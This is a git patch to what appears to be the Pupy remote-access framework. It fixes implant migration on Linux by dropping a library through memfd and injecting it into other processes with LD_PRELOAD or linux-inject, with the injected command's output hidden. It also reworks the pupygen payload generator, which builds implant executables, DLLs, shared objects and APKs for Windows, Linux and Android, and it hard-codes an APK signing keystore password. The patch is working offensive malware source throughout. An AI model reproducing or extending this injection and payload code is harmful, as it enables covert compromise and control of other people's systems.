From 4f1a508dd0d83f4ec2f7128f40ef0b9df6910c84 Mon Sep 17 00:00:00 2001
From: Oleksii Shevchuk
Date: Mon, 6 Mar 2017 18:36:29 +0200
Subject: [PATCH] Fix migration (linux client) /w memfd
---
client/sources-linux/Makefile | 5 +-
client/sources-linux/daemonize.c | 5 +-
client/sources-linux/fixes.h | 5 +
client/sources-linux/memfd.h | 1 +
client/sources-linux/pupy.c | 80 ++++++++----
client/sources-linux/tmplibrary.c | 4 -
pupy/modules/get_info.py | 8 +-
pupy/modules/lib/linux/migrate.py | 31 ++---
pupy/modules/lib/windows/migrate.py | 9 +-
pupy/pupygen.py | 192 ++++++++++++----------------
pupy/pupylib/PupyServer.py | 11 +-
11 files changed, 184 insertions(+), 167 deletions(-)
diff --git a/client/sources-linux/Makefile b/client/sources-linux/Makefile
index 326d417a..6e62f9ec 100644
--- a/client/sources-linux/Makefile
+++ b/client/sources-linux/Makefile
@@ -18,7 +18,8 @@ else
NAME := 86
endif
-LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h -Dmain=linux_inject_main
+LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h \
+ -Dmain=linux_inject_main "-Drealpath=realpath2"
ifneq ($(DEBUG),)
DEBUG_ADD := -debug
@@ -115,7 +116,7 @@ $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin: main_exe.o $(PYOBJS) $(COMMON_OBJS)
$(CC) $(PIE) $+ -o $@ $(LDFLAGS)
$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).so: main_so.o $(PYOBJS) $(COMMON_OBJS)
- $(CC) -shared $+ -o $@ $(LDFLAGS)
+ $(CC) -shared $+ -o $@ $(LDFLAGS) -Wl,-soname,pupyx$(NAME).so
.PHONY: clean all
diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c
index e5f5a2c3..67afbc82 100644
--- a/client/sources-linux/daemonize.c
+++ b/client/sources-linux/daemonize.c
@@ -75,7 +75,7 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
}
}
- if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) {
+ if (fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1 && exit_parent) {
#ifdef USE_ENV_ARGS
char *set_argv0 = getenv(DEFAULT_ENV_SA0);
char *set_cwd = getenv(DEFAULT_ENV_SCWD);
@@ -234,11 +234,8 @@ int daemonize(int argc, char *argv[], char *env[], bool exit_parent) {
close(fdenv);
}
- /* Set default "safe" path */
- setenv("PATH", DEFAULT_SAFE_PATH, 1);
/* Daemonize */
-
if (!exit_parent) {
if (pipe(pipes) == -1) {
return -1;
diff --git a/client/sources-linux/fixes.h b/client/sources-linux/fixes.h
index 4d565b3b..8a4199b1 100644
--- a/client/sources-linux/fixes.h
+++ b/client/sources-linux/fixes.h
@@ -8,4 +8,9 @@
#define PTRACE_GETSIGINFO 0x4202
#endif
+static inline
+char *realpath2(const char *path, char *resolved_path) {
+ return path;
+}
+
#endif
diff --git a/client/sources-linux/memfd.h b/client/sources-linux/memfd.h
index d614fc67..8665062c 100644
--- a/client/sources-linux/memfd.h
+++ b/client/sources-linux/memfd.h
@@ -3,6 +3,7 @@
#define _GNU_SOURCE
#include
+#include
#define MFD_CLOEXEC 0x0001U
#define MFD_ALLOW_SEALING 0x0002U
diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c
index bddf82ef..6aae1bdd 100644
--- a/client/sources-linux/pupy.c
+++ b/client/sources-linux/pupy.c
@@ -13,6 +13,7 @@
#include
#include "tmplibrary.h"
#include
+#include "memfd.h"
#include "resources_library_compressed_string_txt.c"
@@ -22,8 +23,6 @@ static const char module_doc[] = "Builtins utilities for pupy";
static const char pupy_config[8192]="####---PUPY_CONFIG_COMES_HERE---####\n";
-extern const uint32_t dwPupyArch;
-
#include "lzmaunpack.c"
static PyObject *Py_get_modules(PyObject *self, PyObject *args)
@@ -63,13 +62,13 @@ Py_get_pupy_config(PyObject *self, PyObject *args)
static PyObject *Py_get_arch(PyObject *self, PyObject *args)
{
- if(dwPupyArch==32){
- return Py_BuildValue("s", "x86");
- }
- else if(dwPupyArch==64){
- return Py_BuildValue("s", "x64");
- }
+#ifdef __x86_64__
+ return Py_BuildValue("s", "x64");
+#elif __i386__
+ return Py_BuildValue("s", "x86");
+#else
return Py_BuildValue("s", "unknown");
+#endif
}
static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
@@ -82,30 +81,55 @@ static PyObject *Py_ld_preload_inject_dll(PyObject *self, PyObject *args)
if (!PyArg_ParseTuple(args, "zs#O", &lpCmdBuffer, &lpDllBuffer, &dwDllLenght, &py_HookExit))
return NULL;
- char ldobject[PATH_MAX]={};
- if (drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght) < 0) {
+ char ldobject[PATH_MAX] = {};
+ int cleanup_workaround = 0;
+ int cleanup = 1;
+
+ int fd = drop_library(ldobject, PATH_MAX, lpDllBuffer, dwDllLenght);
+ if (fd < 0) {
dprint("Couldn't drop library: %m\n");
return NULL;
}
+
+ if (is_memfd_path(ldobject)) {
+ char buf2[PATH_MAX];
+ strncpy(buf2, ldobject, sizeof(buf2));
+ snprintf(ldobject, sizeof(ldobject), "/proc/%d/fd/%d", getpid(), fd);
+ cleanup_workaround = 1;
+ cleanup = 0;
+ }
+
char cmdline[PATH_MAX*2] = {};
snprintf(
- cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=1 exec %s",
+ cmdline, sizeof(cmdline), "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null",
ldobject,
PyObject_IsTrue(py_HookExit),
+ cleanup,
lpCmdBuffer,
ldobject
);
dprint("Program to execute in child context: %s\n", cmdline);
+ prctl(4, 1, 0, 0, 0);
+
pid_t pid = daemonize(0, NULL, NULL, false);
if (pid == 0) {
/* Daemonized context */
+ dprint("Daemonization complete - client\n");
execl("/bin/sh", "/bin/sh", "-c", cmdline, NULL);
unlink(ldobject);
exit(255);
}
+ dprint("Daemonization complete - server\n");
+ if (cleanup_workaround) {
+ sleep(2);
+ close(fd);
+ }
+
+ prctl(4, 0, 0, 0, 0);
+
if (pid == -1) {
dprint("Couldn\'t daemonize: %m\n");
unlink(ldobject);
@@ -121,26 +145,25 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
const char *lpDllBuffer;
uint32_t dwDllLenght;
const char *cpCommandLine;
- PyObject* py_is64bit;
- int is64bits;
- if (!PyArg_ParseTuple(args, "Is#O", &dwPid, &lpDllBuffer, &dwDllLenght, &py_is64bit))
+
+ if (!PyArg_ParseTuple(args, "Is#", &dwPid, &lpDllBuffer, &dwDllLenght))
return NULL;
dprint("Injection requested. PID: %d\n", dwPid);
- is64bits = PyObject_IsTrue(py_is64bit);
- if(is64bits){
- is64bits=64;
- }else{
- is64bits=32;
- }
-
char buf[PATH_MAX]={};
- if (!drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght)) {
+ int fd = drop_library(buf, PATH_MAX, lpDllBuffer, dwDllLenght);
+ if (!fd) {
dprint("Couldn't drop library: %m\n");
return NULL;
}
+ if (is_memfd_path(buf)) {
+ char buf2[PATH_MAX];
+ strncpy(buf2, buf, sizeof(buf2));
+ snprintf(buf, sizeof(buf), "/proc/%d/fd/%d", getpid(), fd);
+ }
+
char pid[20] = {};
snprintf(pid, sizeof(pid), "%d", dwPid);
@@ -148,9 +171,14 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
"linux-inject", "-p", pid, buf, NULL
};
+ dprint("Injecting %s to %d\n", pid, buf);
+
+ prctl(4, 1, 0, 0, 0);
+
pid_t injpid = fork();
if (injpid == -1) {
dprint("Couldn't fork\n");
+ close(fd);
unlink(buf);
return PyBool_FromLong(1);
}
@@ -164,9 +192,15 @@ static PyObject *Py_reflective_inject_dll(PyObject *self, PyObject *args)
waitpid(injpid, &status, 0);
}
+ prctl(4, 0, 0, 0, 0);
+
+ dprint("Injection code: %d\n", status);
+
unlink(buf);
+ /* close(fd); */
if (WEXITSTATUS(status) == 0) {
+ dprint("Injection successful\n");
return PyBool_FromLong(1);
} else {
dprint("Injection failed\n");
@@ -194,7 +228,7 @@ static PyMethodDef methods[] = {
{ "get_pupy_config", Py_get_pupy_config, METH_NOARGS, "get_pupy_config() -> string" },
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
- { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
+ { "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
{ NULL, NULL }, /* Sentinel */
diff --git a/client/sources-linux/tmplibrary.c b/client/sources-linux/tmplibrary.c
index c27afc82..25b2b6d3 100644
--- a/client/sources-linux/tmplibrary.c
+++ b/client/sources-linux/tmplibrary.c
@@ -213,9 +213,7 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) {
if (!base) {
dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror());
-#ifndef DEBUG
unlink(buf);
-#endif
return NULL;
}
@@ -226,8 +224,6 @@ void *memdlopen(const char *soname, const char *buffer, size_t size) {
record->base = base;
list_add(libraries, record);
-#ifndef DEBUG
unlink(buf);
-#endif
return base;
}
diff --git a/pupy/modules/get_info.py b/pupy/modules/get_info.py
index 4c5fb7bc..37ec22e8 100644
--- a/pupy/modules/get_info.py
+++ b/pupy/modules/get_info.py
@@ -24,7 +24,7 @@ class GetInfo(PupyModule):
]
pupyKeys = [ "transport", "launcher", "launcher_args" ]
windKeys = [ "uac_lvl","intgty_lvl" ]
- linuxKeys = [ "daemonize" ]
+ linuxKeys = []
macKeys = []
infos = []
@@ -54,7 +54,7 @@ class GetInfo(PupyModule):
elif self.client.is_darwin():
for k in macKeys:
infos.append((k,self.client.desc[k]))
-
+
elif self.client.is_android():
self.client.load_package("pupydroid.utils")
wifiConnected = self.client.conn.modules["pupydroid.utils"].isWiFiConnected()
@@ -83,7 +83,7 @@ class GetInfo(PupyModule):
deviceId = self.client.conn.modules["pupydroid.utils"].getDeviceId()
infos.append(("device_id",deviceId))
#Needs API level 23. When this API will be used, these 2 following line should be uncommented
- #simInfo = self.client.conn.modules["pupydroid.utils"].getSimInfo()
+ #simInfo = self.client.conn.modules["pupydroid.utils"].getSimInfo()
#infos.append(("sim_count",simInfo))
if ("absent" not in simState) and ("unknown" not in simState):
phoneNb = self.client.conn.modules["pupydroid.utils"].getPhoneNumber()
@@ -110,7 +110,7 @@ class GetInfo(PupyModule):
infos.append(('platform', '{}/{}'.format(
self.client.platform, self.client.arch or '?'
)))
-
+
#For remplacing None or "" value by "?"
infoTemp = []
for i, (key, value) in enumerate(infos):
diff --git a/pupy/modules/lib/linux/migrate.py b/pupy/modules/lib/linux/migrate.py
index 48b1c8b1..05edfb34 100644
--- a/pupy/modules/lib/linux/migrate.py
+++ b/pupy/modules/lib/linux/migrate.py
@@ -1,6 +1,8 @@
import pupygen
import time
import gzip, cStringIO
+import random
+import string
def has_proc_migrated(client, pid):
for c in client.pupsrv.clients:
@@ -18,12 +20,10 @@ def has_proc_migrated(client, pid):
return None
def get_payload(module, compressed=True):
- if module.client.is_proc_arch_64_bits():
- module.info('Generate pupyx64.so payload')
- dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf())
- else:
- module.info('Generate pupyx86.so payload')
- dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf())
+ dllbuf, _, _ = pupygen.generate_binary_from_template(
+ module.client.get_conf(), 'linux',
+ arch=module.client.arch, shared=True
+ )
if not compressed:
return dllbuf
@@ -37,17 +37,18 @@ def get_payload(module, compressed=True):
def wait_connect(module, pid):
module.success("waiting for a connection from the DLL ...")
- while True:
- c=has_proc_migrated(module.client, pid)
+ for x in xrange(10):
+ c = has_proc_migrated(module.client, pid)
if c:
module.success("got a connection from migrated DLL !")
- c.desc["id"]=module.client.desc["id"]
+ c.desc["id"] = module.client.desc["id"]
+ try:
+ module.client.conn.exit()
+ except Exception:
+ pass
+
break
- time.sleep(0.1)
- try:
- module.client.conn.exit()
- except Exception:
- pass
+ time.sleep(1)
def ld_preload(module, command, wait_thread=False, keep=False):
payload = get_payload(module)
@@ -69,7 +70,7 @@ def migrate(module, pid, keep=False):
payload = get_payload(module)
r = module.client.conn.modules['pupy'].reflective_inject_dll(
- pid, payload, 0
+ pid, payload
)
if r:
diff --git a/pupy/modules/lib/windows/migrate.py b/pupy/modules/lib/windows/migrate.py
index 0b0838da..2d4d4ed9 100644
--- a/pupy/modules/lib/windows/migrate.py
+++ b/pupy/modules/lib/windows/migrate.py
@@ -20,10 +20,15 @@ def migrate(module, pid, keep=False, timeout=30):
if module.client.conn.modules['pupwinutils.processes'].is_process_64(pid):
isProcess64bits=True
module.success("process is 64 bits")
- dllbuff=pupygen.get_edit_pupyx64_dll(module.client.get_conf())
else:
module.success("process is 32 bits")
- dllbuff=pupygen.get_edit_pupyx86_dll(module.client.get_conf())
+
+ dllbuff, filename, _ = pupygen.generate_binary_from_template(
+ module.client.get_conf(), 'windows',
+ arch=module.client.arch, shared=True
+ )
+ module.success("Template: {}".format(filename))
+
module.success("injecting DLL in target process %s ..."%pid)
module.client.conn.modules['pupy'].reflective_inject_dll(pid, dllbuff, isProcess64bits)
module.success("DLL injected !")
diff --git a/pupy/pupygen.py b/pupy/pupygen.py
index 519cef99..ad76d382 100755
--- a/pupy/pupygen.py
+++ b/pupy/pupygen.py
@@ -29,46 +29,6 @@ ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__)))
if __name__ == '__main__':
Credentials.DEFAULT_ROLE = 'CLIENT'
-def get_edit_pupyx86_dll(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.dll"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.dll"), conf)
-
-def get_edit_pupyx64_dll(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.dll"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.dll"), conf)
-
-def get_edit_pupyx86_exe(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.exe"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.exe"), conf)
-
-def get_edit_pupyx64_exe(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.exe"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.exe"), conf)
-
-def get_edit_pupyx86_lin(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.lin"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.lin"), conf)
-
-def get_edit_pupyx64_lin(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.lin"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.lin"), conf)
-
-def get_edit_pupyx86_so(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86d.so"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx86.so"), conf)
-
-def get_edit_pupyx64_so(conf, debug=False):
- if debug:
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64d.so"), conf)
- return get_edit_binary(os.path.join(ROOT, "payload_templates","pupyx64.so"), conf)
-
def get_edit_binary(path, conf):
logging.debug("generating binary %s with conf: %s"%(path, conf))
binary=b""
@@ -205,11 +165,12 @@ def updateTar(arcpath, arcname, file_path):
finally:
shutil.rmtree(tempdir)
-def get_edit_apk(path, new_path, conf):
- tempdir=tempfile.mkdtemp(prefix="tmp_pupy_")
+def get_edit_apk(path, conf):
+ tempdir = tempfile.mkdtemp(prefix="tmp_pupy_")
+ fd, tempapk = tempfile.mkstemp(prefix="tmp_pupy_")
try:
packed_payload=pack_py_payload(get_raw_conf(conf))
- shutil.copy(path, new_path)
+ shutil.copy(path, tempapk)
#extracting the python-for-android install tar from the apk
zf=zipfile.ZipFile(path,'r')
@@ -226,11 +187,11 @@ def get_edit_apk(path, new_path, conf):
updateTar(os.path.join(tempdir,"assets/private.mp3"), "service/pp.pyo", os.path.join(tempdir,"pp.pyo"))
#repacking the tar in the apk
with open(os.path.join(tempdir,"assets/private.mp3"), 'r') as t:
- updateZip(new_path, "assets/private.mp3", t.read())
+ updateZip(tempapk, "assets/private.mp3", t.read())
#signing the tar
try:
- res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%new_path, shell=True)
+ res=subprocess.check_output("jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore crypto/pupy-apk-release-key.keystore -storepass pupyp4ssword '%s' pupy_key"%tempapk, shell=True)
except OSError as e:
if e.errno ==os.errno.ENOENT:
print "Please install jarsigner first."
@@ -238,9 +199,56 @@ def get_edit_apk(path, new_path, conf):
raise e
# -tsa http://timestamp.digicert.com
print(res)
+ content = b''
+ with open(tempapk) as apk:
+ return apk.read()
+
finally:
#cleaning up
shutil.rmtree(tempdir, ignore_errors=True)
+ os.unlink(tempapk)
+
+def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False):
+ TEMPLATE_FMT = 'pupy{arch}{debug}.{ext}'
+ ARCH_CONVERT = {
+ 'amd64': 'x64', 'x86_64': 'x64',
+ 'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86',
+ }
+
+ arch = ARCH_CONVERT.get(arch, arch)
+
+ CLIENTS = {
+ 'android': (get_edit_apk, 'pupy.apk', False),
+ 'linux': (get_edit_binary, TEMPLATE_FMT, True),
+ 'windows': (get_edit_binary, TEMPLATE_FMT, False),
+ }
+
+ if not osname in CLIENTS.keys():
+ raise ValueError('Unknown OS ({}), known = '.format(
+ osname, ', '.join(CLIENTS.keys())))
+
+ generator, template, makex = CLIENTS[osname]
+
+ if '{arch}' in template and not arch:
+ raise ValueError('arch required for the target OS ({})'.format(osname))
+
+ shared_ext = 'dll' if osname == 'windows' else 'so'
+ non_shared_ext = 'exe' if osname == 'windows' else 'lin'
+ ext = shared_ext if shared else non_shared_ext
+ debug = 'd' if debug else ''
+
+ if shared:
+ makex = False
+
+ filename = template.format(arch=arch, debug=debug, ext=ext)
+ template = os.path.join(
+ ROOT, 'payload_templates', filename
+ )
+
+ if not os.path.isfile(template):
+ raise ValueError('Template not found ({})'.format(template))
+
+ return generator(template, config), filename, makex
def load_scriptlets():
scl={}
@@ -290,18 +298,13 @@ def parse_scriptlets(args_scriptlet, debug=False):
class ListOptions(argparse.Action):
def __call__(self, parser, namespace, values, option_string=None):
print colorize("## available formats :", "green")+" usage: -f "
- print "\t- exe_86, exe_x64 : generate PE exe for windows"
- print "\t- dll_86, dll_x64 : generate reflective dll for windows"
- print "\t- lin_x86, lin_x64 : generate a ELF binary for linux"
- print "\t- so_x86, so_x64 : generate a ELF .so for linux"
+ print "\t- client : generate client binary"
print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)"
print "\t- pyinst : generate a python file compatible with pyinstaller"
print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line."
print "\t- ps1 : generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process."
print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell."
print "\t- rubber_ducky : generate a Rubber Ducky script and inject.bin file (Windows Only)."
- print "\t- apk : generate a apk for running pupy on android"
-
print ""
print colorize("## available transports :","green")+" usage: -t "
for name, tc in transports.iteritems():
@@ -317,10 +320,19 @@ class ListOptions(argparse.Action):
print '\n'.join(["\t"+x for x in sc.get_help().split("\n")])
exit()
-PAYLOAD_FORMATS=['apk', 'lin_x86', 'lin_x64', 'so_x86', 'so_x64', 'exe_x86', 'exe_x64', 'dll_x86', 'dll_x64', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky']
+PAYLOAD_FORMATS = [
+ 'client', 'py', 'pyinst', 'py_oneliner', 'ps1', 'ps1_oneliner', 'rubber_ducky'
+]
+
+CLIENT_OS = [ 'android', 'windows', 'linux' ]
+CLIENT_ARCH = [ 'x86', 'x64' ]
+
if __name__=="__main__":
parser = argparse.ArgumentParser(description='Generate payloads for windows, linux, osx and android.')
- parser.add_argument('-f', '--format', default='exe_x86', choices=PAYLOAD_FORMATS, help="(default: exe_x86)")
+ parser.add_argument('-f', '--format', default='client', choices=PAYLOAD_FORMATS, help="(default: client)")
+ parser.add_argument('-O', '--os', default='windows', choices=CLIENT_OS, help='Target OS (default: windows)')
+ parser.add_argument('-A', '--arch', default='x86', choices=CLIENT_ARCH, help='Target arch (default: x86)')
+ parser.add_argument('-S', '--shared', default=False, action='store_true', help='Create shared object')
parser.add_argument('-o', '--output', help="output path")
parser.add_argument('-s', '--scriptlet', default=[], action='append', help="offline python scriptlets to execute before starting the connection. Multiple scriptlets can be privided.")
parser.add_argument('-l', '--list', action=ListOptions, nargs=0, help="list available formats, transports, scriptlets and options")
@@ -368,62 +380,24 @@ if __name__=="__main__":
conf['launcher_args']=args.launcher_args
conf['offline_script']=script_code
outpath=args.output
- if args.format=="exe_x86":
- binary=get_edit_pupyx86_exe(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx86.exe"
- with open(outpath, 'wb') as w:
- w.write(binary)
- elif args.format=="lin_x86":
- binary=get_edit_pupyx86_lin(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx86.lin"
- with open(outpath, 'wb') as w:
- w.write(binary)
- os.chmod(outpath, 0711)
- elif args.format=="so_x86":
- binary=get_edit_pupyx86_lin(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx86.so"
- with open(outpath, 'wb') as w:
- w.write(binary)
- os.chmod(outpath, 0711)
- elif args.format=="lin_x64":
- binary=get_edit_pupyx64_lin(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx64.lin"
- with open(outpath, 'wb') as w:
- w.write(binary)
- os.chmod(outpath, 0711)
- elif args.format=="so_x64":
- binary=get_edit_pupyx64_lin(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx64.so"
- with open(outpath, 'wb') as w:
- w.write(binary)
- os.chmod(outpath, 0711)
- elif args.format=="exe_x64":
- binary=get_edit_pupyx64_exe(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx64.exe"
- with open(outpath, 'wb') as w:
- w.write(binary)
- elif args.format=="dll_x64":
- binary=get_edit_pupyx64_dll(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx64.dll"
- with open(outpath, 'wb') as w:
- w.write(binary)
- elif args.format=="dll_x86":
- binary=get_edit_pupyx86_dll(conf, debug=args.debug)
- if not outpath:
- outpath="pupyx86.dll"
- with open(outpath, 'wb') as w:
- w.write(binary)
- elif args.format=="apk":
- if not outpath:
- outpath="pupy.apk"
- get_edit_apk(os.path.join(ROOT, "payload_templates","pupy.apk"), outpath, conf)
+ if args.format=="client":
+ data, filename, makex = generate_binary_from_template(
+ conf, args.os,
+ arch=args.arch, shared=args.shared, debug=args.debug
+ )
+ outpath = outpath or filename
+
+ try:
+ os.unlink(outpath)
+ except:
+ pass
+
+ with open(outpath, 'w') as out:
+ out.write(data)
+
+ if makex:
+ os.chmod(outpath, 0511)
+
elif args.format=="py" or args.format=="pyinst":
linux_modules = ""
if not outpath:
diff --git a/pupy/pupylib/PupyServer.py b/pupy/pupylib/PupyServer.py
index f0413734..1271b8d9 100644
--- a/pupy/pupylib/PupyServer.py
+++ b/pupy/pupylib/PupyServer.py
@@ -85,7 +85,10 @@ class PupyServer(threading.Thread):
return new_id
def free_id(self, id):
- self._current_id.remove(int(id))
+ try:
+ self._current_id.remove(int(id))
+ except KeyError:
+ pass
def register_handler(self, instance):
""" register the handler instance, typically a PupyCmd, and PupyWeb in the futur"""
@@ -110,9 +113,9 @@ class PupyServer(threading.Thread):
"conn" : conn,
"address" : conn._conn._config['connid'].rsplit(':',1)[0],
"launcher" : conn.get_infos("launcher"),
- "launcher_args" : obtain(conn.get_infos("launcher_args")),
- "transport" : obtain(conn.get_infos("transport")),
- "daemonize" : (True if obtain(conn.get_infos("daemonize")) else False),
+ "launcher_args" : conn.get_infos("launcher_args"),
+ "transport" : conn.get_infos("transport"),
+ "daemonize" : (True if conn.get_infos("daemonize") else False),
"native": conn.get_infos("native"),
}
client_info.update(l)